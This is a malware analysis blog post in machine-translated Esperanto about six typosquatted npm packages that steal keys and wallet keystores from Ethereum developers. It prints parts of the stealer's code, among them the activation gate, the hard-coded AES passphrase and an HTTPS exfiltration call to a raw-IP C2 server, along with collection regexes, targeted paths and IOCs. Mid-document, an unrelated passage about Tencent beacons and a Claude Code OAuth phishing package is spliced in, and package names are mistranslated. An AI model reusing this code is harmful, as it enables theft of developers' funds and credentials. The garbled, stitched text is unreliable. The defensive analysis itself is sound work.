EVMDeFi npm Typosquatting-atako ŝtelas programistajn ŝlosilojn

Atako kontraŭ tajperaro per EVM/DeFi npm ŝtelas ŝlosilojn de programistoj

TL; DR

La 6-an de majo 2026, unuopa npm-eldonisto, namikazesarada010206, puŝis ses malicajn pakaĵojn celantajn la programistan ekosistemon de Ethereum, Solidity kaj DeFi.

La pakaĵoj, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsKaj web3-utils-core, uzis kredindajn nomojn desegnitajn por aspekti kiel helpbibliotekoj por popularaj Web3-iloj.

Ĉiuj ses pakaĵoj enhavis la samon telemetry.js dosiero. La dosiero estis bajto-identa tra la tuta areto, kun SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

La malica programaro ne efektiviĝas dum la instalado. Ne estas preinstall or postinstall hoko. Anstataŭe, ĝi aktiviĝas kiam la pakaĵo estas importita per require().

Tiu detalo gravas.

La enplantaĵo atendas ĝis programisto efektive uzas la pakaĵon. Poste ĝi kontrolas ĉu la laborstacio aspektas kiel vera Ethereum / Solidity-evoluiga medio. Ĝi serĉas ŝlosilojn de Alchemy aŭ Infura, privatajn ŝlosilojn, mnemonikojn, deplojajn ŝlosilojn, aŭ lokan Foundry-dosierujon.

Se la gastiganto kongruas, la ŝtelisto kolektas privatajn SSH-ŝlosilojn, ŝlosilstokejojn de Foundry / Geth / Brownie-monujojn, .env* dosierojn kaj sentemajn ĉirkaŭajn variablojn. Ĝi ĉifras la pakaĵon per AES-256-GCM uzante fiksitan pasfrazon kaj elfiltras ĝin al kruda IPv4 C2 finpunkto kun TLS-konfirmo malŝaltita.

La sistemo "Malicary Early Warning" (MEW) de Xygeni konfirmis ĉiujn ses pakaĵojn kiel malicaj. La raporto pri forigo de la registro npm ankoraŭ ne estas havebla.

La Areto: Ses Pakaĵoj, Unu Eldonisto

La eldonista konto namikazesarada010206 estis ligita al la nekonfirmita Gmail-adreso namikazesarada010206@gmail.com.

La kampanjo aperis kiel unu-taga publikiga eksplodo la 6-an de majo 2026. Ĉiuj ses pakaĵoj estis versiigitaj kiel 1.0.0, havis nulajn rultempajn dependecojn, kaj sendis nur tri dosierojn:

package.json index.js telemetry.js

Ili ankaŭ deklaris la saman fontdeponejon:

https://github.com/harunosakura030303-maker/evmchain-config

La unuaj tri pakaĵoj estis kaptitaj de MEW-skaniloj ĉe la unua publikigo. La ceteraj tri estis devige markitaj post analizista revizio de la npm-profilo de la eldonisto. Iam la sama bajtidenta telemetry.js estis konfirmita tra la tuta areto, ili estis fermitaj kiel malicaj pro konsistenco.

pakaĵo versio npm Publikigita MEW-Bileto verdikton
viem-kerno 1.0.0 2026-05-06 01:38:44Z #51049 Malica
viem-utils-core 1.0.0 2026-05-06 #51050 Malica
harĉapelo-kerno-utilaĵoj 1.0.0 2026-05-06 #51051 Malica
evm-utiloj 1.0.0 2026-05-06 #51069 Malica, laŭ konsistenco
fandejaj-utilaĵoj 1.0.0 2026-05-06 #51071 Malica, laŭ konsistenco
ret3-utiloj-kerno 1.0.0 2026-05-06 #51070 Malica, laŭ konsistenco

La nomstrategio estas simpla sed efika.

Ĉi tiuj pakaĵoj ne imitas precizajn nomojn de la fontoj. Anstataŭe, ili uzas kredindajn "utilajn" sufiksojn kiel ekzemple -core, -utilsKaj -utils-coreTio igas ilin aspekti kiel kunulaj bibliotekoj, kiujn programisto eble atendus vidi proksime al TTT3-ilaro.

Malica Pakaĵo Legitima Celo
viem-kerno viem, populara kliento por Ethereum TypeScript
viem-utils-core viem
harĉapelo-kerno-utilaĵoj kasko, ĉefa Solidity-evoluiga medio
evm-utiloj Ĝenerala EVM-ilaro-nomspaco
fandejaj-utilaĵoj fandejo, ilaro de Solidity
ret3-utiloj-kerno web3-utils, Web3.js-helpantoj

Jen la ŝablono de "suplementa pakaĵo": ne "Mi estas la vera pakaĵo", sed "Mi aspektas kiel racia helpanto ĉirkaŭ la vera pakaĵo".

Por DeFi-programistoj, kiuj moviĝas rapide, tio sufiĉas por krei riskon.

Kio Okazas Kiam la Pakaĵo Estas Importita

La atakĉeno estas malgranda, konscia, kaj fokusita sur kripto-disvolvaj medioj.

Ne estas instala hoko. Anstataŭe, ĉiu pakaĵo inkluzivas index.js kiu eksportas stumpfunkcion kaj poste ŝarĝas la malican telemetrian modulon.

require('./telemetry').init();

Tio signifas, ke la malica programaro aktiviĝas ĉe la unua importo.

Tio estas funkcie utila por la atakanto. Multaj skaniloj kaj sablokestoj fokusiĝas al instalado-tempa konduto. Ĉi tiu pakaĵo atendas ĝis ĝi estas efektive uzata de programisto, konstrua skripto, testaro aŭ rultempa vojo.

Aktiviga Pordego: Ekfunkciu nur ĉe realaj TTT3-programistaj laborstacioj

La plej grava parto de la enplantaĵo estas la aktiviga pordego.

La malica programaro kontrolas mediajn variablojn ofte troveblajn sur komputiloj de programistoj de Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Ĝi ankaŭ kontrolas ĉu Foundry ŝajnas esti instalita:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Se neniu kondiĉo estas vera, la funkcio revenas kaj faras nenion.

Tio igas la pakaĵon pli kvieta en ĝeneralaj analizaj medioj. Sablokesto sen Foundry, Alchemy-ŝlosiloj, Infura-ŝlosiloj, privataj ŝlosiloj aŭ mnemonikoj povas vidi sendanĝeran importon.

Sur kongrua gastiganto, la malica programaro atendas 60 ĝis 90 sekundojn antaŭ ol esti kolektita:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

La prokrasto reduktas la evidentan korelacion inter importado kaj elfiltrado. La .unref() voko ankaŭ permesas al la gastiga procezo eliri normale se la pakaĵo estis importita en mallongdaŭra skripto.

Ĉi tio ne estas brua konduto de frakasado kaj kaptado. Ĝi estas celita ŝtelisto desegnita por eviti funkciadon krom se la programista medio valoras ŝteli el ĝi.

Kion la Ŝtelisto Kolektas

Post kiam la aktiviga pordego pasas, la malica programaro kolektas el fontoj plej gravaj en Web3-disvolviĝo: privataj ŝlosiloj, monujaj ŝlosilstokejoj, deplojaj akreditaĵoj, nubaj sekretoj, npm-ĵetonoj kaj loka projekta agordo.

fonto Kio estas kolektita
procezo.env Ĉiu ajn variablo kongruanta /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Dosieroj enhavantaj PRIVATE KEY aŭ BEGIN OPENSSH, inkluzive de la plena dosierenhavo
~/.foundry/keystores/* Dosieroj de la ŝlosilstokejo de la monujo de Foundry
~/.ethereum/ŝlosilvendejo/* Dosieroj de la ŝlosilstokejo de la geta monujo
~/.brownie/kontoj/* Dosieroj de la ŝlosilstokejo de Brownie-monujo
${cwd}/.env Plena dosierenhavo
${cwd}/.env.local Plena dosierenhavo
${cwd}/.env.production Plena dosierenhavo
${cwd}/.env.development Plena dosierenhavo
os.hostname() Gastigantaj metadatenoj
kripto.hazardaUUID() Identigilo de viktimo/sesio
Dato.nun() Kolekta horstampo
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

La ATTA-ĵetonoj estas:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Ni ne povis konfirmi ĉu la telemetrio estis la propra analitiko de la funkciigisto aŭ aparte monetigita kanalo. La ATTA-ĵetonoj estas la samaj en ambaŭ specimenoj, kiujn ni ekzamenis.

Areto B: hejbai

claude.hk OAuth Fiŝkaptado + ANTHROPIC_BASE_URL-Aviforkapto

La specimeno de la 1-a de aprilo estas la pli kruda, pli frua parto de la kampanjo.

heibai:2.1.88-claude.hk-4 estis eldonita de wuguoqiangvip28, konto kreita la 7-an de junio 2025. La pakaĵo eksplicite versiigis sin kontraŭ la legitima 2.1.88 Antropa liberigo.

Ĝi ne zorgas pri CA-cert MITM. Anstataŭe, ĝi mensogas al la uzanto pri la OAuth-finpunkto.

La malicaj aldonoj aldone al la likita fontkodo de Claude Code inkluzivas:

fonto Kio estas kolektita
procezo.env Ĉiu ajn variablo kongruanta /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Dosieroj enhavantaj PRIVATE KEY aŭ BEGIN OPENSSH, inkluzive de la plena dosierenhavo
~/.foundry/keystores/* Dosieroj de la ŝlosilstokejo de la monujo de Foundry
~/.ethereum/ŝlosilvendejo/* Dosieroj de la ŝlosilstokejo de la geta monujo
~/.brownie/kontoj/* Dosieroj de la ŝlosilstokejo de Brownie-monujo
${cwd}/.env Plena dosierenhavo
${cwd}/.env.local Plena dosierenhavo
${cwd}/.env.production Plena dosierenhavo
${cwd}/.env.development Plena dosierenhavo
os.hostname() Gastigantaj metadatenoj
kripto.hazardaUUID() Identigilo de viktimo/sesio
Dato.nun() Kolekta horstampo

La cela listo estas tre specifa. Ĉi tio ne estas ĝenerala retumilŝtelo aŭ ĝenerala skrapado de akreditaĵoj. Ĝi celas programistojn, kiuj konstruas, testas, deplojas aŭ funkciigas Ethereum-aplikaĵojn.

La inkludo de la ŝlosildeponejoj Foundry, Geth, kaj Brownie estas aparte grava. Ĉi tiuj dosieroj povas reprezenti rektan aliron al monujoj aŭ deplojaj identecoj. Se la atakanto povas pariĝi ilin kun pasvortoj, mnemonikoj, aŭ mediaj sekretoj, ili eble povos movi financojn, ŝajnigi esti deplojantoj, aŭ kompromiti operaciojn de inteligentaj kontraktoj.

Ĉifrado Antaŭ Elfiltrado

La malica programaro ĉifras la kolektitajn datumojn antaŭ ol sendi ilin.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

La fikskodita pasfrazo estas:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

La fina utila ŝarĝo estas envolvita kiel JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Ĉifrado ne igas la malica programaro pli progresinta per si mem. Tamen, ĝi malfaciligas retan inspektadon. Defendanto observanta eliron vidus JSON-ŝarĝon, sed ne la ŝtelitajn ŝlosilojn, monujdosierojn, aŭ .env enhavo sen la fikskodita pasvorto kaj malĉifrada logiko.

Eksfiltrado al Kruda IPv4 C2

La eksfiltra vojo estas fikskodita:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

La malica programaro sendas datumojn al:

https://76.13.37.80:8443/api/v1/telemetry

Du detaloj elstaras.

Unue, la C2 estas kruda IPv4-adreso anstataŭ domajno. Tio forigas la bezonon de domajna registrado kaj evitas iujn domajn-bazitajn detektojn.

Due, TLS-konfirmo estas malŝaltita per:

rejectUnauthorized: false

Tio permesas al la malica programaro akcepti ajnan atestilon, inkluzive de mem-subskribitaj atestiloj. Alivorte, la atakanto ricevas ĉifritan transporton sen bezono de valida publika atestilo.

Ne ekzistas reprova logiko kaj neniu rezerva gastiganto. Eraroj estas silente englutitaj. Tio tenas la pakaĵon silenta se la C2 estas senkonekta aŭ neatingebla.

Kial Ĉi tiu Kampanjo Gravas

Plej multaj malicaj npm-pakaĵoj celantaj programistojn persekutas larĝajn akreditaĵojn: npm-ĵetonojn, AWS-ŝlosilojn, GitHub-ĵetonojn, aŭ .npmrc dosierojn.

Ĉi tiu kampanjo malvastigas la celon.

Ĝi serĉas signojn, ke la maŝino apartenas al programisto de Ethereum aŭ Solidity. Poste ĝi tiras precize la aktivaĵojn, kiuj gravas en tiu medio: ŝlosdeponejojn de monujoj, privatajn ŝlosilojn, mnemonikojn, ŝlosilojn de deplojanto, .env dosierojn kaj SSH-ŝlosilojn.

Tio igas la kampanjon pli danĝera por Web3-teamoj ol ĝenerala npm-ŝtelisto.

Sukcesa infekto povus malkaŝi:

  • Deplojaj monujoj
  • Ŝlosiloj por administrado de inteligentaj kontraktoj
  • RPC-provizantaj ŝlosiloj
  • Nubaj deplojaj akreditaĵoj
  • npm-eldonaj ĵetonoj
  • SSH-aliro al programisto aŭ konstrua infrastrukturo
  • Projektaj sekretoj konservitaj en .env dosierojn
  • Monujoŝlosilvendejoj por Foundry, Geth, aŭ Brownie

La pakaĵnomoj ankaŭ montras klaran socian inĝenieradon. Ili celas la ekosistemon de programistoj de TTT3 per konataj ilnomoj: viem, hardhat, foundry, evmKaj web3.

La aktoro ne bezonas kompromiti la realajn projektojn. Ili nur bezonas programiston por instali ion, kio aspektas kiel akceptebla aldona pakaĵo.

Indikiloj de Kompromiso kaj Detekto

Pakaĵoj kaj Eldonisto
Kampo valoro
npm-eldonisto namikazesarada010206
Retpoŝto de eldonisto namikazesarada010206@gmail.com
Retpoŝto kontrolita Ne
SCM kontrolita Ne
Reputacia poentaro 1.0
pakaĵoj viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
versioj Ĉiuj 1.0.0
Fonta deponejo https://github.com/harunosakura030303-maker/evmchain-config
Konfirmita malica Ĉiuj ses pakaĵoj
reto
tipo valoro
C2-finpunkto https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2-haveno 8443/tcp
TLS-konduto malakceptiNeaŭtorizita: malvera
Utilŝarĝa skemo {"v":2,"iv": "d": ,"t": }
Dosieroj kaj Haŝoj
tipo valoro
telemetrio.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Pakaĵaranĝo pakaĵo.json, indekso.js, telemetrio.js
Dosierkalkulo 3
Proksimuma totala grandeco 3.4 KB

Aktivigaj Signaloj

La malica programaro kontrolas ĉi tiujn mediajn variablojn:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Ĝi ankaŭ kontrolas:

~/.foundry/

Celitaj Gastigantaj Padoj

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Kolekta Reges

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Detektaj Notoj

Pluraj reguloj kaptas ĉi tiun kampanjon sen bezono de plena konduta analizo.

Unue, skanu ŝlosdosierojn por la ses malicaj pakaĵnomoj:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Ĉiu matĉo en package-lock.json, yarn.lock, pnpm-lock.yamlnode_modules historio estu traktata kiel grava okazaĵo.

Due, monitoru Node.js-procezojn legantaj la ŝlosilstokejojn de la monujo:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Ĉi tio malofte estas legitima konduto por pakaĵo importita kiel helpa dependeco. Ĝi estas aparte suspektinda kiam sekvata de eliranta reta agado.

Trie, bloku aŭ atentigu pri HTTPS-konektoj al:

76.13.37.80:8443

Precipe kiam la peto-vojo estas:

/api/v1/telemetry

Kvare, serĉu npm-pakaĵojn, kiuj kombinas ĉi tiujn trajtojn:

  • Nova aŭ malalt-reputacia eldonisto
  • Nekonfirmita Gmail-konto
  • Pakaĵnomo apud Web3
  • Neniu senchava deponeja historio
  • Malgranda pakaĵaranĝo
  • index.js kiu ŝarĝas telemetrian aŭ helpan dosieron
  • Neniuj rultempaj dependecoj
  • Sentema kolekto de ĉirkaŭaĵvariabloj
  • Aliro al la ŝlosilbutiko de monujo

Ĉi tiu ŝablono estas pli utila ol ununura IOC ĉar la sekva pakaĵo eble ŝanĝos la IP-adreson sed konservos la saman celan logikon.

Kontrollisto por Kompromisa Respondo

Se programisto uzis unu el la ses pakaĵoj kaj ties ĉirkaŭaĵo kongruis kun la aktiviga pordego, traktu la laborstacion kiel kompromititan.

Tio inkluzivas maŝinojn kun Foundry instalita, Alchemy aŭ Infura ŝlosilojn en la medio, privatajn ŝlosilojn, mnemonikojn aŭ deplojajn ŝlosilojn.

Rekomendita respondo:

  • Malkonekti la gastiganton de la reto.
  • Konservu node_modules, serurdosieroj, ŝelhistorio, kaj koncernaj protokoloj por krimmedicino.
  • Turnu ĉiun SSH-ŝlosilparon sub ~/.ssh/.
  • Turnu monujajn ŝlosilojn por ĉiu ŝlosilstokejo sub ~/.foundry, ~/.ethereumKaj ~/.brownie.
  • Movu financojn al novaj monujoj.
  • Turnu ĉiun sekreton konservitan en .env* dosierojn en deponejoj, en kiuj la programisto laboris.
  • Turnu mediajn sekretojn kongruantajn kun la kolektoregula esprimo, inkluzive de AWS-ŝlosiloj, npm-ĵetonoj, deplojaj ĵetonoj, API-ŝlosiloj, privataj ŝlosiloj, semoj kaj mnemonikoj.
  • Auditu la agadon de la nubo, npm, GitHub, RPC-provizanto kaj blokĉeno ekde la unua instalado de la pakaĵo.
  • Re-bildigu la laborstacion antaŭ ol reuzi ĝin.

Kion defendantoj devus forpreni

Ĉi tiu kampanjo montras kiel npm-tajperaro evoluas ĉirkaŭ altvaloraj programistaj ekosistemoj.

La aktoro ne bezonis persiston. Ili ne bezonis malklarigon. Ili eĉ ne bezonis instaltempan ekzekuton.

Anstataŭe, ili fidis je tri aferoj:

  • Kredindaj Web3-pakaĵnomoj
  • Aktivigo nur sur realaj kripto-disvolvaj maŝinoj
  • Rekta ŝtelo de la dosieroj kaj sekretoj, kiuj plej gravas por Ethereum-programistoj

Tio igas la kampanjon facile maltrafebla dum ĝenerala skanado kaj danĝera kiam ĝi alteriĝas en la ĝustan medion.

Por teamoj de Web3, la leciono estas klara: traktu nomojn de dependecoj kiel parton de via minacmodelo. Pakaĵo, kiu aspektas kiel sendanĝera helpanto, tamen povas fariĝi la plej mallonga vojo al kompromiso de monujo.

Raportita al la npm-registro. Ni ĝisdatigos ĉi tiun afiŝon kiam la eldonista konto kaj pakaĵoj estos forigitaj.

sca-tools-software-composition-analiz-tools
Prioritatigu, solvu kaj sekurigu viajn programarajn riskojn
Akiru vian Senpagan Konton.
Neniu kreditkarto necesas.

Sekurigu vian Programaran Disvolviĝon kaj Liveradon

kun Xygeni Produkta Aro